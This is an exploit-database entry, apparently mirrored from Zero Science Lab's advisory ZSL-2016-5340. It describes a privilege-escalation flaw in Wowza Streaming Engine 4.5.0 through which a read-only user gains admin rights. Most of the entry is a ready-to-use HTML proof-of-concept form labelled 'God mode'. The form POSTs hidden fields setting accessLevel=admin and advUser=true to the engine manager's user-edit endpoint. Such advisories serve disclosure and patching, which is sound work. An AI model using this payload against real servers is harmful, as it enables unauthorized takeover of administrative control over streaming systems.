Wowza Streaming Engine 4.5.0 - Remote Privilege Escalation
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来源:http://www.zeroscience.mk 作者:LiquidWorm 发布时间:2016-07-21
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<!-- Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit Vendor: Wowza Media Systems, LLC. Product web page: https://www.wowza.com Affected version: 4.5.0 (build 18676) Platform: JSP Summary: Wowza Streaming Engine is robust, customizable, and scalable server software that powers reliable video and audio streaming to any device. Learn the benefits of using Wowza Streaming Engine to deliver high-quality live and on-demand video content to any device. Desc: The application suffers from a privilege escalation issue. Normal user (read-only) can elevate his/her privileges by sending a POST request seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining advanced admin rights. Advanced Admin: Allow access to advanced properties and features Only for expert Wowza Streaming Engine users. Tested on: Winstone Servlet Engine v1.0.5 Servlet/2.5 (Winstone/1.0.5) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5340 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php 03.07.2016 -- Privilege escalation from existing read-only user to admin(advanced): --> <html> <body> <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST"> <input type="hidden" name="version" value="0" /> <input type="hidden" name="action" value="quickEdit" /> <input type="hidden" name="userName" value="usermuser" /> <input type="hidden" name="userPassword" value="" /> <input type="hidden" name="userPassword2" value="" /> <input type="hidden" name="accessLevel" value="admin" /> <input type="hidden" name="advUser" value="true" /> <input type="hidden" name="_advUser" value="on" /> <input type="hidden" name="ignoreWarnings" value="false" /> <input type="submit" value="God mode" /> </form> </body> </html>
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